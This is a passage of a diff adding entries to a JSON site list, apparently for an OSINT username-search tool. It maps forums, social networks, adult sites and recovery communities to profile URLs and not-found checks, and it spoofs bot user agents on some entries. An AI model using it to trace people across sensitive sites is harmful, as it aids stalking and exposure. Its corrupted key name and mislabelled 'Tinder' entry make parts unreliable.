"https://www.suicidegirls.com", + "usernameON": "dtimm87", + "bad_site": "" + }, + "Suomi24": { + "country": "🇫🇮", + "country_klas": "FI", + "errorTyp��": "status_code", + "url": "https://www.suomi24.fi/profiili/{}", + "urlMain": "https://www.suomi24.fi", + "usernameON": "Kilgore", + "bad_site": "" + }, + "Superuser": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No users matched your search.", + "errorMsg2": "s-empty-state bg-black-025", + "errorTyp��": "message", + "url": "https://superuser.com/users?tab=Reputation&filter=all&search={}", + "urlMain": "https://superuser.com", + "usernameON": "adam", + "bad_site": "" + }, + "Support_mozilla": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Page Not Found | Mozilla", + "errorMsg2": "Sorry, we couldn't find the page you were looking for.", + "errorTyp��": "message", + "url": "https://support.mozilla.org/en-US/user/{}", + "urlMain": "https://support.mozilla.org", + "usernameON": "username", + "bad_site": "" + }, + "Suunto_Movescount_CLOSEDEAD": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "error=4&", + "errorMsg2": "<title>QT Media 404", + "errorTyp��": "message", + "url": "http://www.movescount.com/ru/members/{}", + "urlMain": "http://www.movescount.com", + "usernameON": "adam", + "bad_site": 1, + "comments": "https://www.suunto.com/" + }, + "Suzuki-club": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://suzuki-club.ru/members/?username={}", + "urlMain": "https://suzuki-club.ru", + "usernameON": "riphkin", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Suzuri": { + "country": "🇯🇵", + "country_klas": "JP", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://suzuri.jp/{}", + "urlMain": "https://suzuri.jp", + "usernameON": "boss", + "bad_site": "" + }, + "Svidbook": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://www.svidbook.ru/user/{}/", + "urlMain": "https://www.svidbook.ru/", + "usernameON": "Moon", + "comments": "bad", + "bad_site": 1 + }, + "Sweethome3d": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": " Error", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.sweethome3d.com/support/forum/viewmember;?member={}", + "urlMain": "https://www.sweethome3d.com", + "usernameON": "empereur", + "bad_site": "" + }, + "Swimming_forum": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://forumswimming.ru/index/8-0-{}", + "urlMain": "http://forumswimming.ru/", + "usernameON": "irina", + "bad_site": "" + }, + "Syberpussy": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://syberpussy.com/members/?username={}", + "urlMain": "https://syberpussy.com", + "usernameON": "akira20m", + "bad_site": 1, + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Syktforum": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "404Ошибка! - Форум Сыктывкар. Форум города Сыктывкар", + "errorTyp��": "message", + "url": "http://syktforum.ru/profile/{}", + "urlMain": "http://syktforum.ru", + "usernameON": "TonyT", + "bad_site": 1 + }, + "Syktyvkar": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "http://syktyvkar-online.ru/profile/{}", + "urlMain": "http://syktyvkar-online.ru", + "usernameON": "vcaun53", + "bad_site": 1 + }, + "Sysadmins": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Could not obtain user posts information", + "errorMsg2": "", + "errorMsg3": "Hagakure", + "errorTyp��": "message", + "url": "https://sysadmins.ru/member{}.html", + "urlMain": "https://sysadmins.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Sysprogs": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://sysprogs.com/w/forums/users/{}/", + "urlMain": "https://sysprogs.com", + "usernameON": "jamessmith", + "comments": "RKN", + "bad_site": "" + }, + "Sythe": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "The specified member cannot be found. Please enter a member's entire name.", + "errorMsg2": "Attention Required! | Cloudflare", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.sythe.org/members/?username={}", + "urlMain": "https://www.sythe.org", + "usernameON": "rskingp", + "bad_site": "" + }, + "T_baidu": { + "country": "🇨🇳", + "country_klas": "CN", + "errorTyp��": "response_url", + "url": "https://tieba.baidu.com/home/main?un={}", + "urlMain": "https://tieba.baidu.com", + "usernameON": "irina", + "bad_site": "" + }, + "Tabun": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://tabun.everypony.ru/profile/{}/", + "urlMain": "https://tabun.everypony.ru", + "usernameON": "adam", + "bad_site": "" + }, + "TalkDrugabuse": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "url": "https://talk.drugabuse.com/members/?username={}", + "urlMain": "https://talk.drugabuse.com", + "usernameON": "adam", + "bad_site": 1, + "comments": "cf", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Talkingsober": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://talkingsober.com/u/{}/summary", + "urlMain": "https://talkingsober.com", + "usernameON": "carljr", + "bad_site": "" + }, + "Talkstats": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "[а-яА-Я]", + "url": "https://www.talkstats.com/members/?username={}", + "urlMain": "https://www.talkstats.com", + "usernameON": "johnlee", + "bad_site": 1, + "comments": "bad", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Tamboff": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Извините, такого пользователя не существуе", + "errorMsg2": " - tamboff.ru ", + "errorTyp��": "message", + "url": "http://www.tamboff.ru/forum/profile.php?mode=viewprofile&u={}", + "urlMain": "http://www.tamboff.ru", + "usernameON": "z0dl9rnd", + "comments": "bad", + "bad_site": 1 + }, + "TamTam": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "maximum-scale=1", + "errorMsg2": "ТамТам", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://tamtam.chat/{}", + "urlMain": "https://tamtam.chat/", + "usernameON": "blue", + "bad_site": "" + }, + "Taringa_CLOSEDEAD": { + "country": "🇦🇷", + "country_klas": "AR", + "errorTyp��": "response_url", + "url": "https://www.taringa.net/{}", + "urlMain": "https://www.taringa.net/", + "usernameON": "BLUE", + "bad_site": 1 + }, + "Teakdoor": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not registered and therefore does not have a profile to view.", + "errorMsg2": "Please wait", + "errorTyp��": "message", + "url": "https://teakdoor.com/members/{}.html", + "urlMain": "https://teakdoor.com", + "usernameON": "joe-90", + "comments": "bad", + "bad_site": "" + }, + "Techdirt": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": " | Techdirt", + "errorMsg2": "", + "errorTyp��": "message", + "url": "https://www.techdirt.com/user/{}/", + "urlMain": "https://www.techdirt.com/", + "usernameON": "thatoneguy", + "bad_site": "" + }, + "Techpowerup": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "url": "https://www.techpowerup.com/forums/members/?username={}", + "urlMain": "https://www.techpowerup.com", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Techrepublic": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://www.techrepublic.com/members/profile/{}/", + "urlMain": "https://www.techrepublic.com", + "usernameON": "Kentertainments75", + "bad_site": 1 + }, + "Tek-tips": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.tek-tips.com/userinfo.cfm?member={}", + "urlMain": "https://www.tek-tips.com/", + "usernameON": "red", + "bad_site": "" + }, + "Teknik": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "The user does not exist", + "errorMsg2": "Not Exist | Teknik ", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://user.teknik.io/{}", + "urlMain": "https://teknik.io/", + "usernameON": "red", + "bad_site": 1 + }, + "Telegram": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://t.me/{}", + "urlMain": "https://t.me/", + "usernameON": "Klaus", + "bad_site": "" + }, + "Telepropusk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://telepropusk.ru/forums/users/{}/", + "urlMain": "https://telepropusk.ru", + "usernameON": "telepropusk", + "bad_site": "" + }, + "Teletype": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://teletype.in/@{}", + "urlMain": "https://teletype.in", + "usernameON": "adam", + "bad_site": "" + }, + "Television_linternaute": { + "country": "🇫🇷", + "country_klas": "FR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://television.linternaute.com/profile/user/{}", + "urlMain": "https://television.linternaute.com", + "usernameON": "Radinoz", + "bad_site": "" + }, + "Tellonym": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://tellonym.me/{}", + "urlMain": "https://tellonym.me/", + "usernameON": "blue", + "comments": "cf", + "bad_site": "" + }, + "Tenchat": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://tenchat.ru/{}", + "urlMain": "https://tenchat.ru", + "usernameON": "agreec", + "bad_site": "" + }, + "Teplak": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Извините, такого пользователя не существует", + "errorMsg2": "Теплый Стан :: ", + "errorMsg3": "Извините,", + "errorTyp��": "message", + "url": "http://www.teplak.ru/frm/profile.php?mode=viewprofile&u={}", + "urlMain": "http://www.teplak.ru", + "usernameON": "Lexa", + "comments": "zamedlenie", + "bad_site": 1 + }, + "Terminator": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://terminator-scc.net.ru/index/8-0-{}", + "urlMain": "http://terminator-scc.net.ru", + "usernameON": "red", + "bad_site": "" + }, + "Terminatorium": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "профиль забанен или удален", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://terminatorium.borda.ru/?32-{}", + "urlMain": "https://terminatorium.borda.ru/", + "usernameON": "tengu", + "bad_site": "" + }, + "Termoshop": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://termoshop.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://termoshop.ru/", + "usernameON": "yurez", + "bad_site": "" + }, + "Test_pypi": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "page\":0,\"totalMatches\":0", + "errorMsg2": "results\":[]", + "errorTyp��": "message", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://test.pypi.org/user/{}/", + "urlMain": "https://test.pypi.org", + "usernameON": "samsja", + "urlProbe": "https://deps.dev/_/search?q={}&system=PYPI&page=0&perPage=20", + "bad_site": "" + }, + "Tetongravity": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Please wait", + "errorMsg2": "This user has not registered and therefore does not have a profile to view", + "errorTyp��": "message", + "url": "https://www.tetongravity.com/forums/member.php/?username={}", + "urlMain": "https://www.tetongravity.com", + "usernameON": "RoooR", + "bad_site": "" + }, + "Texasguntalk": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "url": "https://www.texasguntalk.com/members/?username={}", + "urlMain": "https://www.texasguntalk.com", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Thaicat": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.thaicat.ru/index/8-0-{}", + "urlMain": "http://www.thaicat.ru", + "usernameON": "SparcO", + "bad_site": "" + }, + "Theanswerbank": { + "country": "🇬🇧", + "country_klas": "GB", + "errorMsg": "Welcome to the AnswerBank", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://www.theanswerbank.co.uk/members/{}", + "urlMain": "https://www.theanswerbank.co.uk", + "usernameON": "adam", + "bad_site": "" + }, + "Thebeautybrains": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://thebeautybrains.com/users/{}/", + "urlMain": "https://thebeautybrains.com", + "usernameON": "randys", + "bad_site": "" + }, + "Thebigboss": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "http://thebigboss.org/author/{}", + "urlMain": "http://thebigboss.org", + "usernameON": "adam", + "bad_site": "" + }, + "Thechessforum": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Page Not Found", + "errorMsg2": "Sorry, page not found", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://thechessforum.com/profile/{}/", + "urlMain": "https://thechessforum.com", + "usernameON": "menaalkhan", + "comments": "ZAK_user", + "bad_site": 1 + }, + "Thechive": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://thechive.com/author/{}/", + "urlMain": "https://thechive.com", + "usernameON": "camrybishop", + "bad_site": "" + }, + "THEcommunity": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://thecommunity.ru/user/{}/", + "urlMain": "https://thecommunity.ru", + "usernameON": "pjslot", + "bad_site": "" + }, + "Thefastdiet": { + "country": "🇬🇧", + "country_klas": "GB", + "errorMsg": "Sorry, ", + "errorMsg2": "page doesn", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://thefastdiet.co.uk/forums/users/{}/", + "urlMain": "https://thefastdiet.co.uk", + "usernameON": "fadepeacock", + "bad_site": "" + }, + "Thefastlaneforum": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "url": "https://www.thefastlaneforum.com/community/members/?username={}", + "urlMain": "https://www.thefastlaneforum.com", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Thelion": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "We are sorry but the following error has occurred.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "http://www.thelion.com/bin/profile.cgi?c=s&ru_name={}", + "urlMain": "http://www.thelion.com", + "usernameON": "adam", + "bad_site": "" + }, + "Themeforest": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://themeforest.net/user/{}", + "urlMain": "https://themeforest.net", + "usernameON": "adam", + "bad_site": "" + }, + "Theodysseyonline": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://www.theodysseyonline.com/user/@{}", + "urlMain": "https://www.theodysseyonline.com", + "usernameON": "adam", + "bad_site": "" + }, + "Theoutlander": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://theoutlander.ru/index/8-0-{}", + "urlMain": "http://theoutlander.ru", + "usernameON": "Parma", + "bad_site": "" + }, + "Thephysicsforum": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not registered and therefore does not have a profile to view.", + "errorMsg2": "The Physics Forum", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.thephysicsforum.com/members/{}.html", + "urlMain": "https://www.thephysicsforum.com", + "usernameON": "andrewc", + "bad_site": "" + }, + "Thesimsresource": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.thesimsresource.com/artists/{}/", + "urlMain": "https://www.thesimsresource.com/", + "usernameON": "soloriya", + "bad_site": "" + }, + "Thestudentroom": { + "country": "🇬🇧", + "country_klas": "GB", + "errorMsg": "NoneNone", + "errorMsg2": "This user has not registered and therefore does not have a profile to view.", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.thestudentroom.co.uk/member.php?username={}", + "urlMain": "https://www.thestudentroom.co.uk", + "usernameON": "adam", + "bad_site": "" + }, + "Thevampirediaries": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "http://thevampirediaries.ru/user/{}/", + "urlMain": "http://thevampirediaries", + "usernameON": "PrestonPauh", + "comments": "no_oplata", + "bad_site": 1 + }, + "Theverge": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://www.theverge.com/users/{}", + "urlMain": "https://www.theverge.com", + "usernameON": "Patlex", + "bad_site": "" + }, + "Thewatchforum": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "[а-яА-Я]", + "url": "https://www.thewatchforum.co.uk/members/?username={}", + "urlMain": "https://www.thewatchforum.co.uk", + "usernameON": "wrench", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Thingiverse": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://www.thingiverse.com/{}/designs", + "urlMain": "https://www.thingiverse.com/", + "usernameON": "blue", + "bad_site": "" + }, + "Thlaspi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://thlaspi.com/en/user/{}", + "urlMain": "https://thlaspi.com", + "usernameON": "eblinkoff", + "comments": "-t 22 good", + "bad_site": "" + }, + "Threads": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Threads", + "errorMsg2": "| Cloudflare", + "errorMsg3": "content=\"https://www.threads.com/login", + "errorTyp��": "message", + "headers": { + "Accept-Language": "ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", + "Priority": "u=1", + "DNT": "1", + "Host": "www.threads.com", + "Connection": "keep-alive", + "Upgrade-Insecure-Requests": "1", + "Sec-Fetch-Dest": "document", + "Sec-Fetch-Mode": "navigate", + "Sec-Fetch-Site": "none", + "Sec-Fetch-User": "?1", + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0" + }, + "url": "https://www.threads.com/@{}", + "urlMain": "https://www.threads.com", + "usernameON": "adam", + "bad_site": "" + }, + "TikTok": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.tiktok.com/@{}?lang=ru-RU", + "urlMain": "https://www.tiktok.com/", + "headers": { + "Accept": "*/*", + "Sec-GPC": "1", + "Connection": "keep-alive", + "Host": "www.tiktok.com", + "User-Agent": "Mozilla/5.0 (compatible; YandexAccessibilityBot/3.0; +http://yandex.com/bots)" + }, + "usernameON": "red", + "bad_site": "" + }, + "Tildes": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://tildes.net/user/{}", + "urlMain": "https://tildes.net", + "usernameON": "Palatino", + "bad_site": "" + }, + "Tinder": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Dating, Make Friends &", + "errorMsg2": "заводи друзейТинькофф", + "errorTyp��": "message", + "url": "https://www.tinkoff.ru/invest/social/profile/{}/", + "urlMain": "https://www.tinkoff.ru", + "usernameON": "Usual_user", + "bad_site": "" + }, + "Tjournal_CLOSEDEAD": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Мы все внимательно посмотрели, но ничего не нашли :(", + "errorMsg2": "Можно попробовать изменить поисковый запрос или пойти почитать", + "errorTyp��": "message", + "url": "https://tjournal.ru/search/v2/subsite/relevant?query={}", + "urlMain": "https://tjournal.ru", + "usernameON": "adam", + "bad_site": 1 + }, + "Tkgr": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "http://tkgr.ru/forum/member/{}", + "urlMain": "http://tkgr.ru/", + "usernameON": "siber", + "comments": "zamedlenie", + "bad_site": "" + }, + "Tl": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://tl.net/forum/profile.php?user={}", + "urlMain": "https://tl.net", + "usernameON": "adam", + "bad_site": "" + }, + "Tolyatty": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "http://tolyatty.net/user/{}/", + "urlMain": "http://tolyatty.net", + "usernameON": "derre-red", + "bad_site": 1 + }, + "Tomtom_CLOSEDEAD": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://discussions.tomtom.com/en/profile/{}", + "urlMain": "https://discussions.tomtom.com/", + "usernameON": "adam", + "bad_site": 1 + }, + "Toot_mstd": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "[а-яА-Я]", + "errorTyp��": "status_code", + "url": "https://toot.cat/@{}", + "urlMain": "https://toot.cat", + "usernameON": "bob", + "bad_site": "" + }, + "Topcheats": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://topcheats.ucoz.com/index/8-0-{}", + "urlMain": "https://topcheats.ucoz.com", + "usernameON": "sergeizakaz", + "bad_site": "" + }, + "Topdb": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "Извините, но пользователь не найден", + "errorTyp��": "message", + "url": "https://topdb.ru/{}", + "urlMain": "https://topdb.ru", + "usernameON": "sukaebana2017", + "bad_site": "" + }, + "Topwar": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://topwar.ru/user/{}/", + "urlMain": "https://topwar.ru", + "usernameON": "datur", + "bad_site": "" + }, + "Torrent-soft": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://torrent-soft.net/user/{}/", + "urlMain": "https://torrent-soft.net", + "usernameON": "Baguvix", + "bad_site": "" + }, + "Totalstavki_CLOSEDEAD": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "[а-яА-Я]", + "url": "https://totalstavki.ru/forum/members/?username={}", + "urlMain": "https://totalstavki.ru", + "usernameON": "turbo", + "bad_site": 1, + "comments": "zakr", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Totseans_CLOSEDEAD": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "<title>Totseans", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "http://www.totseans.com/bbs/profile/{}", + "urlMain": "http://www.totseans.com", + "usernameON": "Vizier", + "comments": "RUblock", + "bad_site": 1 + }, + "Tottenhamhotspur": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "http://tottenhamhotspur.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "http://tottenhamhotspur.ru", + "usernameON": "rusiakos", + "bad_site": "" + }, + "Touristlink": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Members across the World", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://www.touristlink.com/user/{}", + "urlMain": "https://www.touristlink.com", + "usernameON": "green", + "comments": "Oplata", + "bad_site": 1 + }, + "Tourney": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "По вашему запросу ничего не найдено.", + "errorMsg2": "colspan=\"4\">", + "errorTyp��": "message", + "url": "http://www.tourney.ru/forum/userlist.php?username={}&show_group=-1&sort_by=username", + "urlMain": "http://www.tourney.ru", + "usernameON": "Spirit", + "bad_site": "" + }, + "Toxicbun": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "response_url", + "url": "https://toxicbun.com/@{}", + "urlMain": "https://toxicbun.com", + "usernameON": "Mark", + "comments": "bad", + "bad_site": 1 + }, + "Toyster": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "toyster.ru форум", + "errorTyp��": "message", + "url": "https://toyster.ru/forum/member.php?username={}", + "urlMain": "https://toyster.ru", + "usernameON": "DEMOH85", + "bad_site": "" + }, + "TrackmaniaLadder": { + "country": "🇫🇷", + "country_klas": "FR", + "errorMsg": "player unknown or invalid", + "errorMsg2": "NoneNone", + "errorMsg3": "player unknown or invalid", + "errorTyp��": "message", + "url": "http://en.tm-ladder.com/{}_rech.php", + "urlMain": "http://en.tm-ladder.com/index.php", + "usernameON": "blue", + "comments": "bad", + "bad_site": 1 + }, + "TradingView": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "This isn't the page you're looking for", + "errorMsg2": "", + "errorTyp��": "message", + "url": "https://www.tradingview.com/u/{}/", + "urlMain": "https://www.tradingview.com/", + "usernameON": "blue", + "bad_site": "" + }, + "Trainsim": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not registered and therefore does not have a profile to view.", + "errorMsg2": "Cloudflare", + "errorMsg3": "Just a moment", + "errorTyp��": "message", + "url": "https://www.trainsim.com/vbts/member.php?username={}", + "urlMain": "https://www.trainsim.com/", + "usernameON": "adam", + "comments": "super", + "bad_site": 1 + }, + "Trakt": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://www.trakt.tv/users/{}", + "urlMain": "https://www.trakt.tv/", + "usernameON": "blue", + "bad_site": "" + }, + "Translatewiki": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://translatewiki.net/wiki/User:{}", + "urlMain": "https://translatewiki.net", + "usernameON": "Adam", + "bad_site": "" + }, + "Tranzilla": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "По данному запросу ничего не найдено.", + "errorMsg2": "><div class=\"info_block\"></div><h2>", + "errorMsg3": "Internal Server Error", + "errorTyp��": "message", + "url": "https://tranzilla.ru/search/?request=&search_type=t", + "urlMain": "https://tranzilla.ru", + "usernameON": "irina", + "bad_site": 1 + }, + "Trashbox": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "div_text_error2", + "errorTyp��": "message", + "url": "https://trashbox.ru/users/{}", + "urlMain": "https://trashbox.ru/", + "usernameON": "blue", + "bad_site": "" + }, + "Travelblog": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.travelblog.org/Bloggers/{}", + "urlMain": "https://www.travelblog.org", + "usernameON": "adam", + "bad_site": "" + }, + "Travelfish": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Private or invalid", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.travelfish.org/member_popup.php?u={}", + "urlMain": "https://www.travelfish.org", + "usernameON": "YeMeansWater", + "bad_site": "" + }, + "Travellerspoint": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://www.travellerspoint.com/users/{}/", + "urlMain": "https://www.travellerspoint.com", + "usernameON": "blue", + "bad_site": "" + }, + "Travis": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://travis-ci.community/u/{}/summary", + "urlMain": "https://travis-ci.community/", + "usernameON": "montana", + "bad_site": "" + }, + "Trello": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "model not found", + "errorMsg2": "Trello Server Error", + "errorTyp��": "message", + "url": "https://trello.com/{}", + "urlMain": "https://trello.com/", + "urlProbe": "https://trello.com/1/Members/{}", + "usernameON": "blue", + "bad_site": "" + }, + "Trictrac": { + "country": "🇫🇷", + "country_klas": "FR", + "errorTyp��": "status_code", + "url": "https://www.trictrac.net/mur/{}", + "urlMain": "https://www.trictrac.net", + "usernameON": "entelechie", + "bad_site": "" + }, + "Trilife": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "

    ", + "errorTyp��": "message", + "url": "https://trilife.ru/search/?q={}&sort=&entity=users&from=&to=", + "urlMain": "https://trilife.ru", + "usernameON": "irina", + "comments": "ZAK_user", + "bad_site": 1 + }, + "Trinixy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://trinixy.ru/user/{}/", + "urlMain": "https://trinixy.ru", + "usernameON": "green", + "bad_site": "" + }, + "TripAdvisor": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "(!cancel)", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "headers": { + "Accept-Language": "ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", + "DNT": "1", + "Priority": "u=1", + "Connection": "keep-alive", + "Sec-Fetch-Dest": "document", + "Sec-Fetch-Mode": "navigate", + "Sec-Fetch-Site": "none", + "Sec-Fetch-User": "?1", + "Sec-GPC": "1", + "User-Agent": 